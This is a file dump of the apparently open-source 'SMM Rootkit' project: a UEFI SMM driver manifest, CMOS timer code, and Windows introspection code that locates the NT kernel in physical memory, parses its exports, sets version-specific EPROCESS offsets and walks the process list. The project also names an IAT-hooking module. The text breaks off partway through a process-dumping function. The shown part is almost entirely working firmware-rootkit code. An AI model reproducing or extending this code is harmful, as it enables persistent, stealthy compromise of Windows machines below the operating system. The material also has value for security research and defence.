    "content": "[defines]\n  INF_VERSION = 0x00010005 \n  BASE_NAME = SMMRootkit\n  FILE_GUID = 22D5AE41-147E-4C44-AE72-ECD9BBB455C1\n  MODULE_TYPE = DXE_SMM_DRIVER\n  PI_SPECIFICATION_VERSION = 0x0001000A\n  ENTRY_POINT = UefiMain\n\n[Sources]\n  SMMRootkit.c\n  serial.c\n  string.c\n  MemManager.c\n  MemoryMapUEFI.c\n  Memory.c\n  WinTools.c\n  WinUmdIATHook.c\n  TimerRTC.c\n\n[Sources.X64]\n  helpers.asm\n\n[Packages]\n  MdePkg/MdePkg.dec\n  MdeModulePkg/MdeModulePkg.dec\n  IntelFrameworkPkg/IntelFrameworkPkg.dec  \n  IntelFrameworkModulePkg/IntelFrameworkModulePkg.dec  \n  StdLib/StdLib.dec\n\n[LibraryClasses]\n  UefiDriverEntryPoint\n  UefiBootServicesTableLib\n  PcdLib\n  BaseMemoryLib\n  DevicePathLib\n  SmmMemLib\n  PciLib\n\n[Protocols]\n  gEfiSimpleTextOutProtocolGuid\n  gEfiLoadedImageProtocolGuid\n  gEfiSmmCpuProtocolGuid\n  gEfiSmmBase2ProtocolGuid\n  gEfiSmmAccess2ProtocolGuid\n  gEfiSmmSwDispatch2ProtocolGuid\n  gEfiSmmPeriodicTimerDispatch2ProtocolGuid\n  gEfiSmmEndOfDxeProtocolGuid\n  gEfiDevicePathProtocolGuid\n  gEfiSerialIoProtocolGuid  \n  gEfiCpuArchProtocolGuid\n  \n[Depex]\n  TRUE\n"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/TimerRTC.c",
    "content": "#include \"TimerRTC.h\"\n\n\nUINT8 cmos_read(UINT8 index)\n{\n  IoWrite8(CMOS_PORT_ADDRESS, index);\n  return IoRead8(CMOS_PORT_DATA);\n}\n\nVOID cmos_write(UINT8 index, UINT8 val)\n{\n  IoWrite8(CMOS_PORT_ADDRESS, index);\n  IoWrite8(CMOS_PORT_DATA, val);\n}\n\nVOID read_statusc()\n{\n  // Has to be done after every interrupt else timer stops\n  IoWrite8(CMOS_PORT_ADDRESS, 0xC);\n  IoRead8(CMOS_PORT_DATA);\n}\n\nVOID cmos_enable()\n{\n  // Read current Status A\n  UINT8 regA = cmos_read(0xA);\n\n  // Set timer to 500ms\n  regA = (regA & 0xF0) | 0x5;\n\n  // Write Status A\n  cmos_write(0xA, regA);\n\n  // Read current Status B\n  UINT8 regB = cmos_read(0xB);\n\n  // Enable periodic timer\n  regB = regB | 0x40;\n\n  // Write Status B\n  cmos_write(0xB, regB);\n}\n\nUINT8 get_RTC_register(INT32 reg)\n{\n  IoWrite8(CMOS_PORT_ADDRESS, reg);\n  return IoRead8(CMOS_PORT_DATA);\n}\n\nUINT16 CmosGetCurrentTime()\n{\n  // Read Seconds and minutes\n  UINT8 second = get_RTC_register(0x00);\n  UINT8 minute = get_RTC_register(0x02);\n\n  UINT8 registerB = cmos_read(0xB);\n  if (!(registerB & 0x04))\n  {\n    second = (second & 0x0F) + ((second / 16) * 10);\n    minute = (minute & 0x0F) + ((minute / 16) * 10);\n  }\n\n  return (UINT16)minute * 60 + second;\n}"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/TimerRTC.h",
    "content": "#ifndef __smmrootkit_timer_rtc_h__\n#define __smmrootkit_timer_rtc_h__\n\n#include <Uefi.h>\n#include <Library/IoLib.h>\n\n#define CMOS_PORT_ADDRESS 0x70\n#define CMOS_PORT_DATA    0x71\n\nUINT8 cmos_read(UINT8 index);\n\nVOID cmos_write(UINT8 index, UINT8 val);\n\nVOID read_statusc();\n\nVOID cmos_enable();\n\nUINT8 get_RTC_register(INT32 reg);\n\nUINT16 CmosGetCurrentTime();\n\n#endif"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/WinTools.c",
    "content": "#include \"WinTools.h\"\n\n#ifndef HEADER_SIZE\n#define HEADER_SIZE 0x1000\n#endif\n\nWinCtx *winGlobal = NULL;\n\n// from SMMRootkit.c\nextern EFI_SMM_SYSTEM_TABLE2 *gSmst2;\n\n/*\n  The low stub (if exists), contains PML4 (kernel DirBase) and KernelEntry point.\n  Credits: PCILeech\n*/\nSTATIC BOOLEAN CheckLow(UINT64 *pml4, UINT64 *kernelEntry)\n{\n  UINT64 o = 0;\n  while (o < 0x100000)\n  {\n    o += 0x1000;\n\n    // Check if address is okay\n    if (IsAddressValid(o) == TRUE)\n    {\n      if (0x00000001000600E9 != (0xffffffffffff00ff & *(UINT64 *)(VOID *)(o + 0x000)))\n      {\n        continue;\n      } // START\n      if (0xfffff80000000000 != (0xfffff80000000003 & *(UINT64 *)(VOID *)(o + 0x070)))\n      {\n        continue;\n      } // KERNEL\n      if (0xffffff0000000fff & *(UINT64 *)(VOID *)(o + 0x0a0))\n      {\n        continue;\n      } // PML4\n      *pml4 = *(UINT64 *)(VOID *)(o + 0xa0);\n      *kernelEntry = *(UINT64 *)(VOID *)(o + 0x70);\n\n      return TRUE;\n    }\n  }\n  return FALSE;\n}\n\nSTATIC BOOLEAN findNtosKrnl(UINT64 kernelEntry, UINT64 PML4, UINT64 *ntKernel)\n{\n  // Check nulled kernelEntry\n  SerialPrintStringDebug(\"  Trying to find Ntos kernel ... \\r\\n\");\n\n  UINT64 physicalFirst = 0;\n  physicalFirst = VTOP(kernelEntry & 0xFFFFFFFFFF000000, PML4, FALSE);\n\n  if (IsAddressValid(physicalFirst) == TRUE && physicalFirst != 0)\n  {\n    if (((kernelEntry & 0xFFFFFFFFFF000000) & 0xfffff) == 0 && *(INT16 *)(VOID *)(physicalFirst) == IMAGE_DOS_SIGNATURE)\n    {\n      INT32 kdbg = 0, poolCode = 0;\n      for (INT32 u = 0; u < 0x1000; u++)\n      {\n        kdbg = kdbg || *(UINT64 *)(VOID *)(physicalFirst + u) == 0x4742444b54494e49;\n        poolCode = poolCode || *(UINT64 *)(VOID *)(physicalFirst + u) == 0x45444f434c4f4f50;\n        if (kdbg & poolCode)\n        {\n          *ntKernel = kernelEntry & 0xFFFFFFFFFF000000;\n          SerialPrintStringDebug(\"  Kernel found!\\r\\n\");\n          return TRUE;\n        }\n      }\n    }\n  }\n\n  // Check kernelEntry + 0x2000000\n  UINT64 physicalSec = 0;\n  physicalSec = VTOP((kernelEntry & 0xFFFFFFFFFF000000) + 0x2000000, PML4, FALSE);\n\n  if (IsAddressValid(physicalSec) == TRUE && physicalSec != 0)\n  {\n    if ((((kernelEntry & 0xFFFFFFFFFF000000) + 0x2000000) & 0xfffff) == 0 && *(INT16 *)(VOID *)(physicalSec) == IMAGE_DOS_SIGNATURE)\n    {\n      INT32 kdbg = 0, poolCode = 0;\n      for (INT32 u = 0; u < 0x1000; u++)\n      {\n        kdbg = kdbg || *(UINT64 *)(VOID *)(physicalSec + u) == 0x4742444b54494e49;\n        poolCode = poolCode || *(UINT64 *)(VOID *)(physicalSec + u) == 0x45444f434c4f4f50;\n        if (kdbg & poolCode)\n        {\n          *ntKernel = (kernelEntry & 0xFFFFFFFFFF000000) + 0x2000000;\n          SerialPrintStringDebug(\"  Kernel found!\\r\\n\");\n          return TRUE;\n        }\n      }\n    }\n  }\n\n  UINT64 i, p, u, mask = 0xfffff;\n\n  while (mask >= 0xfff)\n  {\n    for (i = (kernelEntry & ~0x1fffff) + 0x10000000; i > kernelEntry - 0x20000000; i -= 0x200000)\n    {\n      for (p = 0; p < 0x200000; p += 0x1000)\n      {\n\n        UINT64 physicalP = 0;\n        physicalP = VTOP(i + p, PML4, FALSE);\n\n        if (IsAddressValid(physicalP) == TRUE && physicalP != 0)\n        {\n          if (((i + p) & mask) == 0 && *(INT16 *)(VOID *)(physicalP) == IMAGE_DOS_SIGNATURE)\n          {\n            INT32 kdbg = 0, poolCode = 0;\n            for (u = 0; u < 0x1000; u++)\n            {\n              if (IsAddressValid(p + u) == FALSE)\n                continue;\n\n              kdbg = kdbg || *(UINT64 *)(VOID *)(physicalP + u) == 0x4742444b54494e49;\n              poolCode = poolCode || *(UINT64 *)(VOID *)(physicalP + u) == 0x45444f434c4f4f50;\n              if (kdbg & poolCode)\n              {\n                *ntKernel = i + p;\n                SerialPrintStringDebug(\"  Kernel found!\\r\\n\");\n                return TRUE;\n              }\n            }\n          }\n        }\n      }\n    }\n\n    mask = mask >> 4;\n  }\n  SerialPrintString(\"ERROR: Could not find NTOS Kernel!\\r\\n\");\n  return FALSE;\n}\n\nVOID FreeExportList(WinExportList list)\n{\n  if (!list.list)\n    return;\n\n  for (UINT32 i = 0; i < list.size; i++)\n    free((CHAR8 *)list.list[i].name);\n\n  free(list.list);\n  list.list = NULL;\n}\n\nUINT64 GetProcAddress(const WinCtx *ctx, const WinProc *process, UINT64 module, const CHAR8 *procName)\n{\n  WinExportList exports;\n\n  if (!GenerateExportList(ctx, process, module, &exports))\n    return 0;\n\n  UINT64 ret = FindProcAddress(exports, procName);\n  FreeExportList(exports);\n  return ret;\n}\n\nUINT64 FindProcAddress(const WinExportList exports, const CHAR8 *procName)\n{\n  for (UINT32 i = 0; i < exports.size; i++)\n    if (!strcmp(procName, exports.list[i].name))\n      return exports.list[i].address;\n  return 0;\n}\n\nSTATIC UINT16 GetNTVersion(const WinCtx *ctx)\n{\n  UINT64 getVersion = FindProcAddress(ctx->ntExports, \"RtlGetVersion\");\n\n  if (!getVersion)\n  {\n    SerialPrintString(\"ERROR: Failed finding RtlGetVersion \\r\\n\");\n    return 0;\n  }\n\n  CHAR8 buf[0x100];\n\n  v_memRead((UINT64)buf, getVersion, 0x100, ctx->initialProcess.dirBase, FALSE);\n\n  CHAR8 major = 0, minor = 0;\n\n  /* Find writes to rcx +4 and +8 -- those are our major and minor versions */\n  for (CHAR8 *b = buf; b - buf < 0xf0; b++)\n  {\n    if (!major && !minor)\n      if (*(UINT32 *)(VOID *)b == 0x441c748)\n        return ((UINT16)b[4]) * 100 + (b[5] & 0xf);\n    if (!major && (*(UINT32 *)(VOID *)b & 0xfffff) == 0x441c7)\n      major = b[3];\n    if (!minor && (*(UINT32 *)(VOID *)b & 0xfffff) == 0x841c7)\n      minor = b[3];\n  }\n\n  if (minor >= 100)\n    minor = 0;\n\n  return ((UINT16)major) * 100 + minor;\n}\n\nSTATIC UINT32 GetNTBuild(const WinCtx *ctx)\n{\n  UINT64 getVersion = FindProcAddress(ctx->ntExports, \"RtlGetVersion\");\n\n  if (!getVersion)\n  {\n    SerialPrintString(\"ERROR: Failed finding RtlGetVersion \\r\\n\");\n    return 0;\n  }\n\n  UINT8 buf[0x100];\n  v_memRead((UINT64)buf, getVersion, 0x100, ctx->initialProcess.dirBase, FALSE);\n\n  /* Find writes to rcx +12 -- that's where the version number is stored. These instructions are not on XP, but that is simply irrelevant. */\n  for (UINT8 *b = buf; b - buf < 0xf0; b++)\n  {\n    UINT32 val = *(UINT32 *)(VOID *)b & 0xffffff;\n    if (val == 0x0c41c7 || val == 0x05c01b)\n      return *(UINT32 *)(VOID *)(b + 3);\n  }\n\n  /* Build 19044 onwards:\n   *\n   * If we can't find the rcx + 12, find what was moved to EAX with offset of RIP,\n   * In bytecode this translates to 0f b7 05 ef be ad de \n   *    (movzx  eax,WORD PTR [rip+offset] , offset deadbeef)\n   * \n   * Later on in v_memRead a static offset of 7 is used because the movzx instruction \n   * takes 7 bytes in total, and RIP is pointing to the *next* instruction.\n   */\n  for (UINT8 *b = buf; b - buf < 0xf0; b++)\n  {\n    UINT32 val = *(UINT32 *)(VOID *)b & 0xffffff;\n    /*\n     * From 19044 onwards there are many movzx  eax,WORD PTR\n     * instructions, for now the Build is the first being pushed\n     */\n    if (val == 0x05b70f)\n    {\n      UINT32 offset = *(UINT32 *)(VOID *)(b + 3);\n      UINT16 build = 0;\n      v_memRead((UINT64)&build, getVersion + (b - buf) + 7 + offset, sizeof(build), ctx->initialProcess.dirBase, FALSE);\n      \n      /*\n       * For some reason the kernel first tries to offer 19041 as the build number here, \n       * but after a couple of retries the build number is magically patched to \n       * 19044. Gotta love Microsoft :-)\n       */\n      if(build > 19041)\n        return (UINT32)build;\n\n      return 0;\n    }\n  }\n\n  return 0;\n}\n\nSTATIC BOOLEAN SetupOffsets(WinCtx *ctx)\n{\n  switch (ctx->ntVersion)\n  {\n  case 502: /* XP SP2 */\n    ctx->offsets = (WinOffsets){\n        .apl = 0xe0,\n        .session = 0x260,\n        .imageFileName = 0x268,\n        .dirBase = 0x28,\n        .peb = 0x2c0,\n        .peb32 = 0x30,\n        .threadListHead = 0x290,\n        .threadListEntry = 0x3d0,\n        .teb = 0xb0};\n    break;\n  case 601: /* W7 */\n    ctx->offsets = (WinOffsets){\n        .apl = 0x188,\n        .session = 0x2d8,\n        .imageFileName = 0x2e0,\n        .dirBase = 0x28,\n        .peb = 0x338,\n        .peb32 = 0x30,\n        .threadListHead = 0x300,\n        .threadListEntry = 0x420, /* 0x428 on later SP1 */\n        .teb = 0xb8};\n    /* SP1 */\n    if (ctx->ntBuild == 7601)\n      ctx->offsets.imageFileName = 0x2d8;\n    break;\n  case 602: /* W8 */\n    ctx->offsets = (WinOffsets){\n        .apl = 0x2e8,\n        .session = 0x430,\n        .imageFileName = 0x438,\n        .dirBase = 0x28,\n        .peb = 0x338, /*peb will be wrong on Windows 8 and 8.1*/\n        .peb32 = 0x30,\n        .threadListHead = 0x470,\n        .threadListEntry = 0x400,\n        .teb = 0xf0};\n    break;\n  case 603: /* W8.1 */\n    ctx->offsets = (WinOffsets){\n        .apl = 0x2e8,\n        .session = 0x430,\n        .imageFileName = 0x438,\n        .dirBase = 0x28,\n        .peb = 0x338,\n        .peb32 = 0x30,\n        .threadListHead = 0x470,\n        .threadListEntry = 0x688, /* 0x650 on previous builds */\n        .teb = 0xf0};\n    break;\n  case 1000: /* W10 */\n    ctx->offsets = (WinOffsets){\n        .apl = 0x2e8,\n        .session = 0x448,\n        .imageFileName = 0x450,\n        .dirBase = 0x28,\n        .peb = 0x3f8,\n        .peb32 = 0x30,\n        .threadListHead = 0x488,\n        .threadListEntry = 0x6a8,\n        .teb = 0xf0};\n\n    if (ctx->ntBuild >= 18362)\n    { /* Version 1903 or higher */\n      ctx->offsets.apl = 0x2f0;\n      ctx->offsets.threadListEntry = 0x6b8;\n    }\n      \n    if (ctx->ntBuild >= 19041)\n    {\n      ctx->offsets.apl = 0x448;\n      ctx->offsets.session = 0x558;\n      ctx->offsets.imageFileName = 0x5a8;\n      ctx->offsets.peb = 0x550;\n      ctx->offsets.threadListHead = 0x5e0;\n      ctx->offsets.threadListEntry = 0x4e8; //probably wrong, but it's not used anywhere\n    }\n\n    break;\n  default:\n    return FALSE;\n  }\n  return TRUE;\n}\n\nBOOLEAN InitGlobalWindowsContext()\n{\n  SerialPrintStringDebug(\"== Initializing windows context struct ==\\r\\n\");\n\n  if (winGlobal)\n  {\n    SerialPrintStringDebug(\"  Cleaning up old Windows struct ...\\r\\n\");\n    FreeExportList(winGlobal->ntExports);\n  }\n\n  SerialPrintStringDebug(\"  Dynamic memory allocated before WinCtx init: \");\n  SerialPrintNumberDebug(GetMemAllocated(), 10);\n  SerialPrintStringDebug(\"\\r\\n\");\n\n  BOOLEAN status = TRUE;\n  BOOLEAN verbose = FALSE;\n\n  // Search for the PML4 and kernelEntry\n  UINT64 PML4, kernelEntry;\n  status = CheckLow(&PML4, &kernelEntry);\n\n  if (status == TRUE)\n  {\n    SerialPrintStringDebug(\"  PML4: 0x\");\n    SerialPrintNumberDebug(PML4, 16);\n    SerialPrintStringDebug(\" Kernel entrypoint: 0x\");\n    SerialPrintNumberDebug(kernelEntry, 16);\n    SerialPrintStringDebug(\"\\r\\n\");\n\n    winGlobal->initialProcess.dirBase = PML4;\n  }\n  else\n  {\n    SerialPrintString(\"KernelEntry failed! \\r\\n\");\n\n    return FALSE;\n  }\n\n  // Search ntoskrnl\n  status = findNtosKrnl(kernelEntry, PML4, &winGlobal->ntKernel);\n\n  if (status == TRUE)\n  {\n    SerialPrintStringDebug(\"  NT kernel: 0x\");\n    SerialPrintNumberDebug(winGlobal->ntKernel, 16);\n    SerialPrintStringDebug(\"\\r\\n\");\n  }\n  else\n  {\n    SerialPrintStringDebug(\"ERROR: Failed finding NT kernel!\\r\\n\");\n    return FALSE;\n  }\n\n  SerialPrintStringDebug(\"  Parsing Windows kernel exports ...\\r\\n\");\n  if (GenerateExportList(winGlobal, &winGlobal->initialProcess, winGlobal->ntKernel, &winGlobal->ntExports) == FALSE)\n  {\n    return FALSE;\n  }\n\n  UINT64 PsInitialSystemProcess = FindProcAddress(winGlobal->ntExports, \"PsInitialSystemProcess\");\n\n  if (status == TRUE)\n  {\n    SerialPrintStringDebug(\"  PsInitialSystemProcess: 0x\");\n    SerialPrintNumberDebug(PsInitialSystemProcess, 16);\n    SerialPrintStringDebug(\"\\r\\n\");\n  }\n  else\n  {\n    SerialPrintString(\"ERROR: Failed finding PsInitialSystemProcess\\r\\n\");\n    return FALSE;\n  }\n\n  // Find System EPROCESS\n  UINT64 systemProcess = 0;\n  v_memRead((UINT64)&systemProcess, PsInitialSystemProcess, sizeof(UINT64), PML4, verbose);\n\n  if (status == TRUE)\n  {\n    SerialPrintStringDebug(\"  SystemProcess: 0x\");\n    SerialPrintNumberDebug(systemProcess, 16);\n    SerialPrintStringDebug(\"\\r\\n\");\n  }\n  else\n  {\n    SerialPrintString(\"ERROR: Failed finding SystemProcess\\r\\n\");\n    return FALSE;\n  }\n\n  winGlobal->initialProcess.process = systemProcess;\n  winGlobal->initialProcess.physProcess = VTOP(systemProcess, PML4, verbose);\n\n  // Get Kernel Version & Build\n  winGlobal->ntVersion = GetNTVersion(winGlobal);\n\n  if (winGlobal->ntVersion == 0)\n  {\n    SerialPrintString(\"ERROR: Failed finding NT version\\r\\n\");\n    return FALSE;\n  }\n\n  SerialPrintStringDebug(\"  NtVer: \");\n  SerialPrintNumberDebug(winGlobal->ntVersion, 10);\n  SerialPrintStringDebug(\"\\r\\n\");\n\n  winGlobal->ntBuild = GetNTBuild(winGlobal);\n\n  if (winGlobal->ntBuild == 0)\n  {\n    SerialPrintString(\"ERROR: Failed finding NT build!\\r\\n\");\n    return FALSE;\n  }\n\n  SerialPrintStringDebug(\"  NtBuild \");\n  SerialPrintNumberDebug(winGlobal->ntBuild, 10);\n  SerialPrintStringDebug(\"\\r\\n\");\n\n  status = SetupOffsets(winGlobal);\n\n  if (status == FALSE)\n  {\n    SerialPrintString(\"ERROR: Failed setting Windows offsets!\\r\\n\");\n    return FALSE;\n  }\n\n  SerialPrintStringDebug(\"== Windows offsets set! ==\\r\\n\\r\\n\");\n  return TRUE;\n}\n\nBOOLEAN ParseExportTable(const WinCtx *ctx, const WinProc *process, UINT64 moduleBase, IMAGE_DATA_DIRECTORY *exports, WinExportList *outList)\n{\n  BOOLEAN verbose = FALSE;\n\n  if (exports->Size < sizeof(IMAGE_EXPORT_DIRECTORY) || exports->Size > 0x7fffff || exports->VirtualAddress == moduleBase)\n    return FALSE;\n\n  UINT64 realSize = exports->Size & 0xFFFFFFFFFFFFF000;\n  realSize = realSize + 0x1000;\n\n  EFI_PHYSICAL_ADDRESS physAddr;\n  CHAR8 *buf;\n  EFI_STATUS ret = gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, (realSize / 0x1000), &physAddr);\n\n  if (ret != EFI_SUCCESS)\n  {\n    SerialPrintString(\"  Failed allocating pages while parsing export table! \\r\\n\");\n    return FALSE;\n  }\n\n  buf = (CHAR8 *)physAddr;\n\n  IMAGE_EXPORT_DIRECTORY *exportDir = (IMAGE_EXPORT_DIRECTORY *)(VOID *)buf;\n\n  for (INT32 i = 0; i < (realSize / 0x1000); i++)\n  {\n    // Read page by page into buffer\n    UINT64 physicalP = 0;\n    physicalP = VTOP(moduleBase + exports->VirtualAddress + (i * 0x1000), process->dirBase, verbose);\n\n    if (IsAddressValid(physicalP) == TRUE && physicalP != 0)\n    {\n      // Valid address, read it now\n      if (p_memCpy((UINT64)(buf + (i * 0x1000)) & 0xFFFFFFFFFFFFF000, physicalP & 0xFFFFFFFFFFFFF000, 0x1000, verbose) == FALSE)\n        SerialPrintString(\"  Failed physread! \\r\\n\");\n    }\n    else\n    {\n      SerialPrintString(\"  Invalid Address! \\r\\n\");\n    }\n  }\n\n  SerialPrintStringDebug(\"  Finished Export Table.. NameAmount \");\n  SerialPrintNumberDebug(exportDir->NumberOfNames, 10);\n  SerialPrintStringDebug(\"\\r\\n\");\n\n  buf[exports->Size] = 0;\n  if (!exportDir->NumberOfNames || !exportDir->AddressOfNames)\n  {\n    SerialPrintString(\"  Export Table invalid! NON is 0 \\r\\n\");\n    gSmst2->SmmFreePages(physAddr, (realSize / 0x1000));\n    return FALSE;\n  }\n\n  UINT32 exportOffset = exports->VirtualAddress;\n  UINT32 *names = (UINT32 *)(VOID *)(buf + exportDir->AddressOfNames - exportOffset);\n\n  // THIS FAILS FOR KERNEL32.DLL\n  // TODO: FIX IT!\n  if (exportDir->AddressOfNames - exportOffset + exportDir->NumberOfNames * sizeof(UINT32) > exports->Size)\n  {\n    gSmst2->SmmFreePages(physAddr, (realSize / 0x1000));\n    return FALSE;\n  }\n  UINT16 *ordinals = (UINT16 *)(VOID *)(buf + exportDir->AddressOfNameOrdinals - exportOffset);\n  if (exportDir->AddressOfNameOrdinals - exportOffset + exportDir->NumberOfNames * sizeof(UINT16) > exports->Size)\n  {\n    gSmst2->SmmFreePages(physAddr, (realSize / 0x1000));\n    return FALSE;\n  }\n  UINT32 *functions = (UINT32 *)(VOID *)(buf + exportDir->AddressOfFunctions - exportOffset);\n  if (exportDir->AddressOfFunctions - exportOffset + exportDir->NumberOfFunctions * sizeof(UINT32) > exports->Size)\n  {\n    gSmst2->SmmFreePages(physAddr, (realSize / 0x1000));\n    return FALSE;\n  }\n\n  SerialPrintStringDebug(\"  Dynamically allocating table ...\\r\\n\");\n  outList->size = exportDir->NumberOfNames;\n  outList->list = (WinExport *)malloc(sizeof(WinExport) * outList->size);\n\n  if (!outList->list)\n  {\n    SerialPrintString(\"ERROR: Allocating memory for the NtKernel export list failed! alloc size was \");\n    SerialPrintNumber(outList->size, 10);\n    SerialPrintString(\"\\r\\n\");\n    gSmst2->SmmFreePages(physAddr, (realSize / 0x1000));\n    return FALSE;\n  }\n\n  size_t sz = 0;\n\n  SerialPrintStringDebug(\"  Filling the export list ...\\r\\n\");\n  for (UINT32 i = 0; i < exportDir->NumberOfNames; i++)\n  {\n    if (names[i] > exports->Size + exportOffset || names[i] < exportOffset || ordinals[i] > exportDir->NumberOfNames)\n      continue;\n    outList->list[sz].name = strdup(buf + names[i] - exportOffset);\n    outList->list[sz].address = moduleBase + functions[ordinals[i]];\n    sz++;\n  }\n\n  outList->size = sz;\n  gSmst2->SmmFreePages(physAddr, (realSize / 0x1000));\n\n  SerialPrintStringDebug(\"  Export list successfully filled!\\r\\n\");\n\n  return TRUE;\n}\n\nBOOLEAN GenerateExportList(const WinCtx *ctx, const WinProc *process, UINT64 moduleBase, WinExportList *outList)\n{\n  UINT8 is64 = 0;\n  UINT8 headerBuf[HEADER_SIZE];\n\n  IMAGE_NT_HEADERS64 *ntHeader64 = GetNTHeader(ctx, process, moduleBase, headerBuf, &is64);\n\n  if (!ntHeader64)\n    return FALSE;\n\n  IMAGE_NT_HEADERS32 *ntHeader32 = (IMAGE_NT_HEADERS32 *)ntHeader64;\n\n  IMAGE_DATA_DIRECTORY *exportTable = NULL;\n  if (is64)\n  {\n    SerialPrintStringDebug(\"  Parsing export table for 64-bit module ...\\r\\n\");\n    exportTable = ntHeader64->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT;\n  }\n  else\n  {\n    SerialPrintStringDebug(\"  Parsing export table for 32-bit module ...\\r\\n\");\n    exportTable = ntHeader32->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT;\n  }\n  return ParseExportTable(ctx, process, moduleBase, exportTable, outList);\n}\n\nIMAGE_NT_HEADERS *GetNTHeader(const WinCtx *ctx, const WinProc *process, UINT64 address, UINT8 *header, UINT8 *is64Bit)\n{\n  v_memRead((UINT64)header, address, HEADER_SIZE, process->dirBase, FALSE);\n\n  //TODO: Allow the compiler to properly handle alignment\n  IMAGE_DOS_HEADER *dosHeader = (IMAGE_DOS_HEADER *)(VOID *)header;\n  if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE)\n    return NULL;\n\n  IMAGE_NT_HEADERS *ntHeader = (IMAGE_NT_HEADERS *)(VOID *)(header + dosHeader->e_lfanew);\n  if ((UINT8 *)ntHeader - header > HEADER_SIZE - 0x200 || ntHeader->Signature != IMAGE_NT_SIGNATURE)\n    return NULL;\n\n  if (ntHeader->OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR32_MAGIC && ntHeader->OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR64_MAGIC)\n    return NULL;\n\n  *is64Bit = ntHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC;\n\n  return ntHeader;\n}\n\nBOOLEAN FindProcess(WinCtx *ctx, CHAR8 *processname, BOOLEAN verbose)\n{\n  UINT64 curProc = ctx->initialProcess.physProcess;\n  UINT64 virtProcess = ctx->initialProcess.process;\n\n  if (verbose)\n  {\n    SerialPrintStringDebug(\"  curProc: \");\n    SerialPrintNumberDebug(curProc, 16);\n    SerialPrintStringDebug(\" virtProcess \");\n    SerialPrintNumberDebug(virtProcess, 16);\n    SerialPrintStringDebug(\"\\r\\n\");\n  }\n\n  BOOLEAN foundSystemProcess = FALSE;\n\n  UINT32 size = 0;\n  while (!size || curProc != ctx->initialProcess.physProcess)\n  {\n    UINT64 *session = 0;\n    if (IsAddressValid(curProc + ctx->offsets.session) == TRUE)\n    {\n      session = (UINT64 *)(curProc + ctx->offsets.session);\n\n      if (verbose)\n      {\n        SerialPrintString(\"  Session: \");\n        SerialPrintNumber(*session, 16);\n        SerialPrintString(\" at \");\n        SerialPrintNumber(curProc + ctx->offsets.session, 16);\n        SerialPrintString(\"\\r\\n\");\n      }\n    }\n\n    UINT64 *dirBase = 0;\n    if (IsAddressValid(curProc + ctx->offsets.dirBase) == TRUE)\n    {\n      dirBase = (UINT64 *)(curProc + ctx->offsets.dirBase);\n\n      if (verbose)\n      {\n        SerialPrintString(\"  dirBase: \");\n        SerialPrintNumber(*dirBase, 16);\n        SerialPrintString(\" at \");\n        SerialPrintNumber(curProc + ctx->offsets.dirBase, 16);\n        SerialPrintString(\"\\r\\n\");\n      }\n    }\n\n    UINT64 *pid = 0;\n    if (IsAddressValid(curProc + ctx->offsets.apl - 8) == TRUE)\n    {\n      pid = (UINT64 *)(curProc + ctx->offsets.apl - 8);\n\n      if (verbose)\n      {\n        SerialPrintString(\"  pid: \");\n        SerialPrintNumber(*pid, 16);\n        SerialPrintString(\" at \");\n        SerialPrintNumber(curProc + ctx->offsets.apl - 8, 16);\n        SerialPrintString(\"\\r\\n\");\n      }\n    }\n\n    if (*session || *pid == 4)\n    {\n      size++;\n      CHAR8 *name;\n\n      if (IsAddressValid(curProc + ctx->offsets.imageFileName) == TRUE)\n      {\n        name = (CHAR8 *)(curProc + ctx->offsets.imageFileName);\n\n        if (!strcmp(name, \"System\"))\n        {\n          foundSystemProcess = TRUE;\n        }\n\n        // Check if it's the process requested\n        if (!strcmp(name, processname))\n        {\n          return TRUE;\n        }\n      }\n    }\n\n    // get the next process\n    UINT64 *tempVirt;\n    if (IsAddressValid(curProc + ctx->offsets.apl) == TRUE)\n    {\n      tempVirt = (UINT64 *)(curProc + ctx->offsets.apl);\n\n      virtProcess = *tempVirt;\n    }\n    else\n    {\n      virtProcess = 0;\n    }\n\n    virtProcess = virtProcess - ctx->offsets.apl;\n\n    if (verbose)\n    {\n      SerialPrintString(\"  virtProcess: \");\n      SerialPrintNumber(virtProcess, 16);\n      SerialPrintString(\"\\r\\n\");\n    }\n\n    if (!virtProcess)\n      break;\n\n    curProc = VTOP(virtProcess, *dirBase, verbose);\n\n    if (verbose)\n    {\n      SerialPrintString(\"  curProc: \");\n      SerialPrintNumber(curProc, 16);\n      SerialPrintString(\"\\r\\n\");\n    }\n\n    if (!curProc)\n      break;\n  }\n\n  // If the windows struct is trashed during bootup or smth,\n  // re-init the windows structs\n  if (!foundSystemProcess)\n    InitGlobalWindowsContext();\n\n  return FALSE;\n}\n\nBOOLEAN DumpSingleProcess(WinCtx *ctx, CHAR8 *processname, WinProc *process, BOOLEAN verbose)\n{\n  UINT64 curProc = ctx->initialProcess.physProcess;\n  UINT64 virtProcess = ctx->initialProcess.process;\n\n  if (verbose)\n  {\n    SerialPrintString(\"  curProc: \");\n    SerialPrintNumber(curProc, 16);\n    SerialPrintString(\" virtProcess \");\n    SerialPrintNumber(virtProcess, 16);\n    SerialPrintString(\"\\r\\n\");\n  }\n\n  UINT32 size = 0;\n\n  while (!size || curProc != ctx->initialProcess.physProcess)\n  {\n    UINT64 *session = 0;\n    if (IsAddressValid(curProc + ctx->offsets.session) == TRUE)\n    {\n      session = (UINT64 *)(curProc + ctx->offsets.session);\n\n      if (verbose)\n      {\n        SerialPrintString(\"  Session: \");\n        SerialPrintNumber(*session, 16);\n        SerialPrintString(\" at \");\n        SerialPrintNumber(curProc + ctx->offsets.session, 16);\n        SerialPrintString(\"\\r\\n\");\n      }\n    }\n\n    UINT64 *dirBase = 0;\n    if (IsAddressValid(curProc + ctx->offsets.dirBase) == TRUE)\n    {\n      dirBase = (UINT64 *)(curProc + ctx->offsets.dirBase);\n\n      if (verbose)\n      {\n        SerialPrintString(\"  dirBase: \");\n        SerialPrintNumber(*dirBase, 16);\n        SerialPrintString(\" at \");\n        SerialPrintNumber(curProc + ctx->offsets.dirBase, 16);\n        SerialPrintString(\"\\r\\n\");\n      }\n    